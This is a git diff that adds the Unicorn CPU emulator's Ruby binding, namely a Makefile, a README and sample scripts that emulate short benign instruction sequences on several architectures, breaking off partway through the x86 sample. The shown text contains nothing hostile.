+UC_X86_INS_VPERMI2Q = 1051 +UC_X86_INS_VPERMIL2PD = 1052 +UC_X86_INS_VPERMIL2PS = 1053 +UC_X86_INS_VPERMILPD = 1054 +UC_X86_INS_VPERMILPS = 1055 +UC_X86_INS_VPERMPD = 1056 +UC_X86_INS_VPERMPS = 1057 +UC_X86_INS_VPERMQ = 1058 +UC_X86_INS_VPERMT2D = 1059 +UC_X86_INS_VPERMT2PD = 1060 +UC_X86_INS_VPERMT2PS = 1061 +UC_X86_INS_VPERMT2Q = 1062 +UC_X86_INS_VPEXPANDD = 1063 +UC_X86_INS_VPEXPANDQ = 1064 +UC_X86_INS_VPEXTRB = 1065 +UC_X86_INS_VPEXTRD = 1066 +UC_X86_INS_VPEXTRQ = 1067 +UC_X86_INS_VPEXTRW = 1068 +UC_X86_INS_VPGATHERDD = 1069 +UC_X86_INS_VPGATHERDQ = 1070 +UC_X86_INS_VPGATHERQD = 1071 +UC_X86_INS_VPGATHERQQ = 1072 +UC_X86_INS_VPHADDBD = 1073 +UC_X86_INS_VPHADDBQ = 1074 +UC_X86_INS_VPHADDBW = 1075 +UC_X86_INS_VPHADDDQ = 1076 +UC_X86_INS_VPHADDD = 1077 +UC_X86_INS_VPHADDSW = 1078 +UC_X86_INS_VPHADDUBD = 1079 +UC_X86_INS_VPHADDUBQ = 1080 +UC_X86_INS_VPHADDUBW = 1081 +UC_X86_INS_VPHADDUDQ = 1082 +UC_X86_INS_VPHADDUWD = 1083 +UC_X86_INS_VPHADDUWQ = 1084 +UC_X86_INS_VPHADDWD = 1085 +UC_X86_INS_VPHADDWQ = 1086 +UC_X86_INS_VPHADDW = 1087 +UC_X86_INS_VPHMINPOSUW = 1088 +UC_X86_INS_VPHSUBBW = 1089 +UC_X86_INS_VPHSUBDQ = 1090 +UC_X86_INS_VPHSUBD = 1091 +UC_X86_INS_VPHSUBSW = 1092 +UC_X86_INS_VPHSUBWD = 1093 +UC_X86_INS_VPHSUBW = 1094 +UC_X86_INS_VPINSRB = 1095 +UC_X86_INS_VPINSRD = 1096 +UC_X86_INS_VPINSRQ = 1097 +UC_X86_INS_VPINSRW = 1098 +UC_X86_INS_VPLZCNTD = 1099 +UC_X86_INS_VPLZCNTQ = 1100 +UC_X86_INS_VPMACSDD = 1101 +UC_X86_INS_VPMACSDQH = 1102 +UC_X86_INS_VPMACSDQL = 1103 +UC_X86_INS_VPMACSSDD = 1104 +UC_X86_INS_VPMACSSDQH = 1105 +UC_X86_INS_VPMACSSDQL = 1106 +UC_X86_INS_VPMACSSWD = 1107 +UC_X86_INS_VPMACSSWW = 1108 +UC_X86_INS_VPMACSWD = 1109 +UC_X86_INS_VPMACSWW = 1110 +UC_X86_INS_VPMADCSSWD = 1111 +UC_X86_INS_VPMADCSWD = 1112 +UC_X86_INS_VPMADDUBSW = 1113 +UC_X86_INS_VPMADDWD = 1114 +UC_X86_INS_VPMASKMOVD = 1115 +UC_X86_INS_VPMASKMOVQ = 1116 +UC_X86_INS_VPMAXSB = 1117 +UC_X86_INS_VPMAXSD = 1118 +UC_X86_INS_VPMAXSQ = 1119 +UC_X86_INS_VPMAXSW = 1120 +UC_X86_INS_VPMAXUB = 1121 +UC_X86_INS_VPMAXUD = 1122 +UC_X86_INS_VPMAXUQ = 1123 +UC_X86_INS_VPMAXUW = 1124 +UC_X86_INS_VPMINSB = 1125 +UC_X86_INS_VPMINSD = 1126 +UC_X86_INS_VPMINSQ = 1127 +UC_X86_INS_VPMINSW = 1128 +UC_X86_INS_VPMINUB = 1129 +UC_X86_INS_VPMINUD = 1130 +UC_X86_INS_VPMINUQ = 1131 +UC_X86_INS_VPMINUW = 1132 +UC_X86_INS_VPMOVDB = 1133 +UC_X86_INS_VPMOVDW = 1134 +UC_X86_INS_VPMOVM2B = 1135 +UC_X86_INS_VPMOVM2D = 1136 +UC_X86_INS_VPMOVM2Q = 1137 +UC_X86_INS_VPMOVM2W = 1138 +UC_X86_INS_VPMOVMSKB = 1139 +UC_X86_INS_VPMOVQB = 1140 +UC_X86_INS_VPMOVQD = 1141 +UC_X86_INS_VPMOVQW = 1142 +UC_X86_INS_VPMOVSDB = 1143 +UC_X86_INS_VPMOVSDW = 1144 +UC_X86_INS_VPMOVSQB = 1145 +UC_X86_INS_VPMOVSQD = 1146 +UC_X86_INS_VPMOVSQW = 1147 +UC_X86_INS_VPMOVSXBD = 1148 +UC_X86_INS_VPMOVSXBQ = 1149 +UC_X86_INS_VPMOVSXBW = 1150 +UC_X86_INS_VPMOVSXDQ = 1151 +UC_X86_INS_VPMOVSXWD = 1152 +UC_X86_INS_VPMOVSXWQ = 1153 +UC_X86_INS_VPMOVUSDB = 1154 +UC_X86_INS_VPMOVUSDW = 1155 +UC_X86_INS_VPMOVUSQB = 1156 +UC_X86_INS_VPMOVUSQD = 1157 +UC_X86_INS_VPMOVUSQW = 1158 +UC_X86_INS_VPMOVZXBD = 1159 +UC_X86_INS_VPMOVZXBQ = 1160 +UC_X86_INS_VPMOVZXBW = 1161 +UC_X86_INS_VPMOVZXDQ = 1162 +UC_X86_INS_VPMOVZXWD = 1163 +UC_X86_INS_VPMOVZXWQ = 1164 +UC_X86_INS_VPMULDQ = 1165 +UC_X86_INS_VPMULHRSW = 1166 +UC_X86_INS_VPMULHUW = 1167 +UC_X86_INS_VPMULHW = 1168 +UC_X86_INS_VPMULLD = 1169 +UC_X86_INS_VPMULLQ = 1170 +UC_X86_INS_VPMULLW = 1171 +UC_X86_INS_VPMULUDQ = 1172 +UC_X86_INS_VPORD = 1173 +UC_X86_INS_VPORQ = 1174 +UC_X86_INS_VPOR = 1175 +UC_X86_INS_VPPERM = 1176 +UC_X86_INS_VPROTB = 1177 +UC_X86_INS_VPROTD = 1178 +UC_X86_INS_VPROTQ = 1179 +UC_X86_INS_VPROTW = 1180 +UC_X86_INS_VPSADBW = 1181 +UC_X86_INS_VPSCATTERDD = 1182 +UC_X86_INS_VPSCATTERDQ = 1183 +UC_X86_INS_VPSCATTERQD = 1184 +UC_X86_INS_VPSCATTERQQ = 1185 +UC_X86_INS_VPSHAB = 1186 +UC_X86_INS_VPSHAD = 1187 +UC_X86_INS_VPSHAQ = 1188 +UC_X86_INS_VPSHAW = 1189 +UC_X86_INS_VPSHLB = 1190 +UC_X86_INS_VPSHLD = 1191 +UC_X86_INS_VPSHLQ = 1192 +UC_X86_INS_VPSHLW = 1193 +UC_X86_INS_VPSHUFB = 1194 +UC_X86_INS_VPSHUFD = 1195 +UC_X86_INS_VPSHUFHW = 1196 +UC_X86_INS_VPSHUFLW = 1197 +UC_X86_INS_VPSIGNB = 1198 +UC_X86_INS_VPSIGND = 1199 +UC_X86_INS_VPSIGNW = 1200 +UC_X86_INS_VPSLLDQ = 1201 +UC_X86_INS_VPSLLD = 1202 +UC_X86_INS_VPSLLQ = 1203 +UC_X86_INS_VPSLLVD = 1204 +UC_X86_INS_VPSLLVQ = 1205 +UC_X86_INS_VPSLLW = 1206 +UC_X86_INS_VPSRAD = 1207 +UC_X86_INS_VPSRAQ = 1208 +UC_X86_INS_VPSRAVD = 1209 +UC_X86_INS_VPSRAVQ = 1210 +UC_X86_INS_VPSRAW = 1211 +UC_X86_INS_VPSRLDQ = 1212 +UC_X86_INS_VPSRLD = 1213 +UC_X86_INS_VPSRLQ = 1214 +UC_X86_INS_VPSRLVD = 1215 +UC_X86_INS_VPSRLVQ = 1216 +UC_X86_INS_VPSRLW = 1217 +UC_X86_INS_VPSUBB = 1218 +UC_X86_INS_VPSUBD = 1219 +UC_X86_INS_VPSUBQ = 1220 +UC_X86_INS_VPSUBSB = 1221 +UC_X86_INS_VPSUBSW = 1222 +UC_X86_INS_VPSUBUSB = 1223 +UC_X86_INS_VPSUBUSW = 1224 +UC_X86_INS_VPSUBW = 1225 +UC_X86_INS_VPTESTMD = 1226 +UC_X86_INS_VPTESTMQ = 1227 +UC_X86_INS_VPTESTNMD = 1228 +UC_X86_INS_VPTESTNMQ = 1229 +UC_X86_INS_VPTEST = 1230 +UC_X86_INS_VPUNPCKHBW = 1231 +UC_X86_INS_VPUNPCKHDQ = 1232 +UC_X86_INS_VPUNPCKHQDQ = 1233 +UC_X86_INS_VPUNPCKHWD = 1234 +UC_X86_INS_VPUNPCKLBW = 1235 +UC_X86_INS_VPUNPCKLDQ = 1236 +UC_X86_INS_VPUNPCKLQDQ = 1237 +UC_X86_INS_VPUNPCKLWD = 1238 +UC_X86_INS_VPXORD = 1239 +UC_X86_INS_VPXORQ = 1240 +UC_X86_INS_VPXOR = 1241 +UC_X86_INS_VRCP14PD = 1242 +UC_X86_INS_VRCP14PS = 1243 +UC_X86_INS_VRCP14SD = 1244 +UC_X86_INS_VRCP14SS = 1245 +UC_X86_INS_VRCP28PD = 1246 +UC_X86_INS_VRCP28PS = 1247 +UC_X86_INS_VRCP28SD = 1248 +UC_X86_INS_VRCP28SS = 1249 +UC_X86_INS_VRCPPS = 1250 +UC_X86_INS_VRCPSS = 1251 +UC_X86_INS_VRNDSCALEPD = 1252 +UC_X86_INS_VRNDSCALEPS = 1253 +UC_X86_INS_VRNDSCALESD = 1254 +UC_X86_INS_VRNDSCALESS = 1255 +UC_X86_INS_VROUNDPD = 1256 +UC_X86_INS_VROUNDPS = 1257 +UC_X86_INS_VROUNDSD = 1258 +UC_X86_INS_VROUNDSS = 1259 +UC_X86_INS_VRSQRT14PD = 1260 +UC_X86_INS_VRSQRT14PS = 1261 +UC_X86_INS_VRSQRT14SD = 1262 +UC_X86_INS_VRSQRT14SS = 1263 +UC_X86_INS_VRSQRT28PD = 1264 +UC_X86_INS_VRSQRT28PS = 1265 +UC_X86_INS_VRSQRT28SD = 1266 +UC_X86_INS_VRSQRT28SS = 1267 +UC_X86_INS_VRSQRTPS = 1268 +UC_X86_INS_VRSQRTSS = 1269 +UC_X86_INS_VSCATTERDPD = 1270 +UC_X86_INS_VSCATTERDPS = 1271 +UC_X86_INS_VSCATTERPF0DPD = 1272 +UC_X86_INS_VSCATTERPF0DPS = 1273 +UC_X86_INS_VSCATTERPF0QPD = 1274 +UC_X86_INS_VSCATTERPF0QPS = 1275 +UC_X86_INS_VSCATTERPF1DPD = 1276 +UC_X86_INS_VSCATTERPF1DPS = 1277 +UC_X86_INS_VSCATTERPF1QPD = 1278 +UC_X86_INS_VSCATTERPF1QPS = 1279 +UC_X86_INS_VSCATTERQPD = 1280 +UC_X86_INS_VSCATTERQPS = 1281 +UC_X86_INS_VSHUFPD = 1282 +UC_X86_INS_VSHUFPS = 1283 +UC_X86_INS_VSQRTPD = 1284 +UC_X86_INS_VSQRTPS = 1285 +UC_X86_INS_VSQRTSD = 1286 +UC_X86_INS_VSQRTSS = 1287 +UC_X86_INS_VSTMXCSR = 1288 +UC_X86_INS_VSUBPD = 1289 +UC_X86_INS_VSUBPS = 1290 +UC_X86_INS_VSUBSD = 1291 +UC_X86_INS_VSUBSS = 1292 +UC_X86_INS_VTESTPD = 1293 +UC_X86_INS_VTESTPS = 1294 +UC_X86_INS_VUNPCKHPD = 1295 +UC_X86_INS_VUNPCKHPS = 1296 +UC_X86_INS_VUNPCKLPD = 1297 +UC_X86_INS_VUNPCKLPS = 1298 +UC_X86_INS_VZEROALL = 1299 +UC_X86_INS_VZEROUPPER = 1300 +UC_X86_INS_WAIT = 1301 +UC_X86_INS_WBINVD = 1302 +UC_X86_INS_WRFSBASE = 1303 +UC_X86_INS_WRGSBASE = 1304 +UC_X86_INS_WRMSR = 1305 +UC_X86_INS_XABORT = 1306 +UC_X86_INS_XACQUIRE = 1307 +UC_X86_INS_XBEGIN = 1308 +UC_X86_INS_XCHG = 1309 +UC_X86_INS_XCRYPTCBC = 1310 +UC_X86_INS_XCRYPTCFB = 1311 +UC_X86_INS_XCRYPTCTR = 1312 +UC_X86_INS_XCRYPTECB = 1313 +UC_X86_INS_XCRYPTOFB = 1314 +UC_X86_INS_XEND = 1315 +UC_X86_INS_XGETBV = 1316 +UC_X86_INS_XLATB = 1317 +UC_X86_INS_XRELEASE = 1318 +UC_X86_INS_XRSTOR = 1319 +UC_X86_INS_XRSTOR64 = 1320 +UC_X86_INS_XRSTORS = 1321 +UC_X86_INS_XRSTORS64 = 1322 +UC_X86_INS_XSAVE = 1323 +UC_X86_INS_XSAVE64 = 1324 +UC_X86_INS_XSAVEC = 1325 +UC_X86_INS_XSAVEC64 = 1326 +UC_X86_INS_XSAVEOPT = 1327 +UC_X86_INS_XSAVEOPT64 = 1328 +UC_X86_INS_XSAVES = 1329 +UC_X86_INS_XSAVES64 = 1330 +UC_X86_INS_XSETBV = 1331 +UC_X86_INS_XSHA1 = 1332 +UC_X86_INS_XSHA256 = 1333 +UC_X86_INS_XSTORE = 1334 +UC_X86_INS_XTEST = 1335 +UC_X86_INS_FDISI8087_NOP = 1336 +UC_X86_INS_FENI8087_NOP = 1337 +UC_X86_INS_ENDING = 1338 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/Makefile b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/Makefile new file mode 100644 index 0000000..9d52de9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/Makefile @@ -0,0 +1,11 @@ +# Ruby binding for Unicorn engine. Sascha Schirra <sashs@scoding.de> + +.PHONY: gen_const + +# Use bundle install && rake to install gem and test +install: gen_const + cd unicorn_gem && rake build + cd unicorn_gem && gem install --local pkg/unicorn-engine-1.0.1.gem + +gen_const: + cd .. && python const_generator.py ruby diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/README.md b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/README.md new file mode 100644 index 0000000..67a2109 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/README.md @@ -0,0 +1,24 @@ +# Installation + +## Software requirements + +### Linux +- ruby >= 1.9.3 +- rubygems +- make +- gcc + +### Mac OS +- ruby >= 1.9.3 +- rubygems +- make +- XCode + +## Install unicorn + * cd path_to_unicorn + * ./make.sh install + +## Install ruby binding + * cd bindings/ruby + * make install + \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm.rb new file mode 100644 index 0000000..f9f8c1e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm.rb @@ -0,0 +1,106 @@ +#!/usr/bin/env ruby + +require 'unicorn_engine' +require 'unicorn_engine/arm_const' + +include UnicornEngine + +# code to be emulated +ARM_CODE = "\x37\x00\xa0\xe3\x03\x10\x42\xe0" # mov r0, #0x37; sub r1, r2, r3 +THUMB_CODE = "\x83\xb0" # sub sp, #0xc +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +$hook_block = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing basic block at 0x%x, block size = 0x%x" % [address, size]) +end + + +# callback for tracing instructions +$hook_code = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing instruction at 0x%x, instruction size = %u" % [address, size]) +end + + +# Test ARM +def test_arm() + puts("Emulate ARM code") + begin + # Initialize emulator in ARM mode + mu = Uc.new UC_ARCH_ARM, UC_MODE_ARM + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_R0, 0x1234) + mu.reg_write(UC_ARM_REG_R2, 0x6789) + mu.reg_write(UC_ARM_REG_R3, 0x3333) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + ARM_CODE.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + r0 = mu.reg_read(UC_ARM_REG_R0) + r1 = mu.reg_read(UC_ARM_REG_R1) + puts(">>> R0 = 0x%x" % r0) + puts(">>> R1 = 0x%x" % r1) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +def test_thumb() + puts("Emulate THUMB code") + begin + # Initialize emulator in thumb mode + mu = Uc.new UC_ARCH_ARM, UC_MODE_THUMB + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, THUMB_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_SP, 0x1234) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS | 1, ADDRESS + THUMB_CODE.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + sp = mu.reg_read(UC_ARM_REG_SP) + puts(">>> SP = 0x%x" % sp) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +test_arm() +puts("=" * 20) +test_thumb() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm64.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm64.rb new file mode 100644 index 0000000..37d9511 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_arm64.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby +# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Ruby sample ported by Sascha Schirra <sashs82@gmail.com> +require 'unicorn_engine' +require 'unicorn_engine/arm64_const' + +include UnicornEngine + +# code to be emulated +ARM64_CODE = "\xab\x01\x0f\x8b" #add x11, x13, x15 + +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +$hook_block = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing basic block at 0x%x, block size = 0x%x" % [address, size]) +end + + +# callback for tracing instructions +$hook_code = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing instruction at 0x%x, instruction size = %u" % [address, size]) +end + + +# Test ARM64 +def test_arm64() + puts("Emulate ARM64 code") + begin + # Initialize emulator in ARM mode + mu = Uc.new UC_ARCH_ARM64, UC_MODE_ARM + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM64_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM64_REG_X11, 0x1234) + mu.reg_write(UC_ARM64_REG_X13, 0x6789) + mu.reg_write(UC_ARM64_REG_X15, 0x3333) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + ARM64_CODE.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + x11 = mu.reg_read(UC_ARM64_REG_X11) + x13 = mu.reg_read(UC_ARM64_REG_X13) + x15 = mu.reg_read(UC_ARM64_REG_X15) + puts(">>> X11 = 0x%x" % x11) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +test_arm64() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_m68k.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_m68k.rb new file mode 100644 index 0000000..fc2522c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_m68k.rb @@ -0,0 +1,65 @@ +#!/usr/bin/env ruby +# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Ruby sample ported by Sascha Schirra <sashs82@gmail.com> + +require 'unicorn_engine' +require 'unicorn_engine/m68k_const' + +include UnicornEngine + +# code to be emulated +M68K_CODE = "\x76\xed" # movq #-19, %d3 +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +$hook_block = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing basic block at 0x%x, block size = 0x%x" % [address, size]) +end + + +# callback for tracing instructions +$hook_code = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing instruction at 0x%x, instruction size = %u" % [address, size]) +end + + +# Test m68k +def test_m68k() + puts("Emulate M68K code") + begin + # Initialize emulator in m68k mode + mu = Uc.new UC_ARCH_M68K, UC_MODE_BIG_ENDIAN + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, M68K_CODE) + + # initialize machine registers + mu.reg_write(UC_M68K_REG_D3, 0x1234) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + M68K_CODE.bytesize) + + # now print out some registers + puts(">>> Emulation done. Below is the CPU context") + + d3 = mu.reg_read(UC_M68K_REG_D3) + puts(">>> D3 = 0x%x" % d3) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +test_m68k() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_mips.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_mips.rb new file mode 100644 index 0000000..c13a9cf --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_mips.rb @@ -0,0 +1,104 @@ +#!/usr/bin/env ruby +# Sample code for MIPS of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Ruby sample ported by Sascha Schirra <sashs82@gmail.com> +require 'unicorn_engine' +require 'unicorn_engine/mips_const' + +include UnicornEngine + +# code to be emulated +MIPS_CODE_EB = "\x34\x21\x34\x56" # ori $at, $at, 0x3456; +MIPS_CODE_EL = "\x56\x34\x21\x34" # ori $at, $at, 0x3456; + +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +$hook_block = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing basic block at 0x%x, block size = 0x%x" % [address, size]) +end + + +# callback for tracing instructions +$hook_code = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing instruction at 0x%x, instruction size = %u" % [address, size]) +end + +# Test MIPS EB +def test_mips_eb() + puts("Emulate MIPS code (big-endian)") + begin + # Initialize emulator in MIPS32 + EB mode + mu = Uc.new UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, MIPS_CODE_EB) + + # initialize machine registers + mu.reg_write(UC_MIPS_REG_1, 0x6789) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EB.bytesize) + + # now puts out some registers + puts(">>> Emulation done. Below is the CPU context") + + r1 = mu.reg_read(UC_MIPS_REG_1) + puts(">>> r1 = 0x%x" % r1) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +# Test MIPS EL +def test_mips_el() + puts("Emulate MIPS code (little-endian)") + begin + # Initialize emulator in MIPS32 + EL mode + mu = Uc.new UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, MIPS_CODE_EL) + + # initialize machine registers + mu.reg_write(UC_MIPS_REG_1, 0x6789) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + MIPS_CODE_EL.bytesize) + + # now puts out some registers + puts(">>> Emulation done. Below is the CPU context") + + r1 = mu.reg_read(UC_MIPS_REG_1) + puts(">>> r1 = 0x%x" % r1) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +test_mips_eb() +puts("=" * 20) +test_mips_el() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_sparc.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_sparc.rb new file mode 100644 index 0000000..a4baf18 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_sparc.rb @@ -0,0 +1,65 @@ +#!/usr/bin/env ruby +# Sample code for SPARC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Ruby sample ported by Sascha Schirra <sashs82@gmail.com> +require 'unicorn_engine' +require 'unicorn_engine/sparc_const' + +include UnicornEngine + +# code to be emulated +SPARC_CODE = "\x86\x00\x40\x02" # add %g1, %g2, %g3; +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +$hook_block = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing basic block at 0x%x, block size = 0x%x" % [address, size]) +end + + +# callback for tracing instructions +$hook_code = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing instruction at 0x%x, instruction size = %u" % [address, size]) +end + +# Test SPARC +def test_sparc() + puts("Emulate SPARC code") + begin + # Initialize emulator in SPARC EB mode + mu = Uc.new UC_ARCH_SPARC, UC_MODE_SPARC32|UC_MODE_BIG_ENDIAN + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, SPARC_CODE) + + # initialize machine registers + mu.reg_write(UC_SPARC_REG_G1, 0x1230) + mu.reg_write(UC_SPARC_REG_G2, 0x6789) + mu.reg_write(UC_SPARC_REG_G3, 0x5555) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, $hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, $hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + SPARC_CODE.bytesize) + + # now puts out some registers + puts(">>> Emulation done. Below is the CPU context") + + g3 = mu.reg_read(UC_SPARC_REG_G3) + puts(">>> G3 = 0x%x" %g3) + + rescue UcError => e + puts("ERROR: %s" % e) + end +end + + +test_sparc() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86.rb new file mode 100644 index 0000000..00c480a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/sample_x86.rb @@ -0,0 +1,552 @@ +#!/usr/bin/env ruby +require 'unicorn_engine' +require 'unicorn_engine/x86_const' + +include UnicornEngine + +X86_CODE32 = "\x41\x4a" # INC ecx; DEC edx +X86_CODE32_LOOP = "\x41\x4a\xeb\xfe" # INC ecx; DEC edx; JMP self-loop +X86_CODE32_MEM_READ = "\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov ecx,[0xaaaaaaaa]; INC ecx; DEC edx +X86_CODE32_MEM_WRITE = "\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; DEC edx +X86_CODE64 = "\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59" +X86_CODE32_INOUT = "\x41\xE4\x3F\x4a\xE6\x46\x43" # INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx +X86_CODE64_SYSCALL = "\x0f\x05" # SYSCALL +X86_CODE16 = "\x00\x00" # add byte ptr [bx + si], al + +# memory address where emulation starts +ADDRESS = 0x1000000 + + +# callback for tracing basic blocks +HOOK_BLOCK = Proc.new do |uc, address, size, user_data | + puts(">>> Tracing basic block at 0x%x, block size = 0x%x" % [address, size]) +end + +# callback for tracing instructions +HOOK_CODE = Proc.new do |uc, address, size, user_data| + puts(">>> Tracing instruction at 0x%x, instruction size = %u" % [address, size]) +end + + +# callback for tracing invalid memory access (READ or WRITE) +HOOK_MEM_INVALID = lambda do |uc, access, address, size, value, user_data| + if access == UC_MEM_WRITE_UNMAPPED + puts(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" % [address, size, value]) + # map this memory in with 2MB in size + uc.mem_map(0xaaaa0000, 2 * 1024*1024) + # return True to indicate we want to continue emulation + return true + else + puts(">>> Missing memory is being READ at 0x%x" % address) + # return False to indicate we want to stop emulation + return false + end +end + + +# callback for tracing memory access (READ or WRITE) +HOOK_MEM_ACCESS = Proc.new do |uc, access, address, size, value, user_data| + if access == UC_MEM_WRITE + puts(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" % [address, size, value]) + else # READ + puts(">>> Memory is being READ at 0x%x, data size = %u" % [address, size]) + end +end + +# callback for IN instruction +HOOK_IN = lambda do |uc, port, size, user_data| + eip = uc.reg_read(UC_X86_REG_EIP) + puts("--- reading from port 0x%x, size: %u, address: 0x%x" % [port, size, eip]) + if size == 1 + # read 1 byte to AL + return 0xf1 + end + if size == 2 + # read 2 byte to AX + return 0xf2 + end + if size == 4 + # 